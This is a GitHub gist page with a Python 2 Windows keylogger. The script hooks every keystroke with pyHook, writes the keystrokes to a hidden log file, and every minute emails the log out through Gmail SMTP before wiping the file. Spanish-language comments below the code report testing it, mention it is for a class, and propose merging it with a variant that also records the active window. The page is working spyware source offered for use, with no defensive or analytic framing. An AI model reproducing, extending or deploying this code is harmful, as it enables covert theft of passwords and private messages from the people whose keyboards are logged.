Skip to content

Instantly share code, notes, and snippets.

@KelviNosse
Last active October 28, 2023 23:13
Show Gist options
  • Save KelviNosse/3166d6123bd26c066c462328bebcf0c0 to your computer and use it in GitHub Desktop.
Save KelviNosse/3166d6123bd26c066c462328bebcf0c0 to your computer and use it in GitHub Desktop.
import pyHook, pythoncom, sys, logging
import time, datetime
wait_seconds = 60
timeout = time.time() + wait_seconds
file_log = 'C:\\secret\\dat.txt'
def TimeOut():
if time.time() > timeout:
return True
else:
return False
def SendEmail(user, pwd, recipient, subject, body):
import smtplib
gmail_user= user
gmail_pass = pwd
FROM = user
TO = recipient if type(recipient) is list else [recipient]
SUBJECT = subject
TEXT = body
message = """\From: %s\nTo: %s\nSubject: %s\n\n%s
""" % (FROM, ", ".join(TO), SUBJECT, TEXT)
try:
server = smtplib.SMTP("smtp.gmail.com", 587)
server.ehlo()
server.starttls()
server.login(gmail_user, gmail_pass)
server.sendmail(FROM, TO, message)
server.close()
print 'Correo enviado satisfactoriamente!'
except:
print 'Error al mandar correo!'
def FormatAndSendLogEmail():
with open(file_log, 'r+') as f:
actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
data = f.read().replace('\n', '')
data = 'Log capturado a las: '+ actualdate + '\n' + data
SendEmail('tucorreo@gmail.com', 'tuclave', 'tucorreo@gmail.com',
'Nuevo log - '+actualdate, data)
f.seek(0)
f.truncate()
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG,
format = '%(message)s')
logging.log(10, chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
while True:
if TimeOut():
FormatAndSendLogEmail()
timeout = time.time() + wait_seconds
pythoncom.PumpWaitingMessages()
@M1ndBlast
Copy link

ya lo chequeé, revisé y creo que todo irá bien
KeyLogger Python 3.7.0rc1

@GitHubNamed
Copy link

Me ha funcionado en un 80%. Algunos caracteres no aparecen.

Ej: Hare un texto corrido solo que le bajare a 20 segundos

Original:" Estoy intentando de hacer esto lo mas corrido posible para ver que caracteres sirven y cuales no sin tildes "
" no c e stoy intentando de hacer esto lo mas corrido posible para ver que caracteres sirven y cuales no sin tildes "
Ej 2: Original: Hola me llamo githubnamed y vengo a probar este keylogger para la materia
Mandado: c h ola me llamo githubnamed p y vend go a probar este keylogger para la materia .

Resumen: Es aceptable aunque puede mejorar como por ejemplo el código de M1ndBlast tiene algo que este no.
Y es mostrar el programa en el cual se esta escribiendo, sin embargo a la hora de capturar los datos es lo mas difícil puesto que lo captura con todo y id de la tecla.
Intentare combinar ambos.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment